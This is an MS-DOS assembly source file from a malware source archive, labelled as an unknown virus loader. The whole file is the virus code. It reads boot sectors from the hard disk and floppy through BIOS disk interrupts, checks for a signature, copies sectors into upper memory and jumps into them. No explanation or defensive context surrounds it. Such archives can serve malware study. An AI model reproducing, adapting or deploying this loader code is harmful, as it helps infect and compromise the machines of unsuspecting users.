MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.loader.asm

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2021-01-12 23:47:04 +00:00
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VIRUS SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:VIRUS,DS:VIRUS
call gyilk
int 20h
nop
gyilk: push ax
push bx
push cx
push dx
push es
push ds
push di
push si
call cim
cim: pop bx
mov si,5aa5h
mov di,55aah
push cs
pop es
ujra: add bx,1000
cmp bx,1000
jnc kilep1
jmp kilep
kilep1: push bx
mov ax,201h
mov dx,80h
mov cx,1
int 13h
pop bx
jnc tovabb
jmp kilep
tovabb: cmp si,0a55ah
jnz tivbi1
jmp kilep
tivbi1: mov ax,cs:word ptr [bx]
cmp ax,12cdh
jz kilep
tovbi: push bx
mov ax,201h
mov dx,0h
mov cx,1
int 13h
pop bx
jnc tovabbi
cmp ah,6
jz tovbi
jmp kilep
tovabbi: mov ax,cs
add ax,1000h
push bx
push ax
int 12h
mov bx,64
mul bx
sub ax,1000h
mov bx,ax
pop ax
cmp bx,ax
jnc oke1
pop bx
jmp kilep
oke1: pop bx
oke: mov es,ax
mov ax,cs:[bx+18h]
mov cx,cs:[bx+1ah]
mul cx
mov cx,ax
mov ax,cs:[bx+13h]
mov dx,0
div cx
sub bx,1000
push bx
mov ch,al
mov cl,1
mov bx,100h
mov dx,0
mov ax,208h
int 13h
pop bx
jc kilep
push bx
mov bx,100h
mov ax,es:[bx]
cmp ax,2452h
pop bx
jnz kilep
mov ax,bx
add ax,offset kilep-offset cim
push cs
push ax
mov ax,10ah
push es
push ax
retf
kilep: pop si
pop di
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
ret
cime: dw 0
VEG EQU $
VIRUS ENDS
END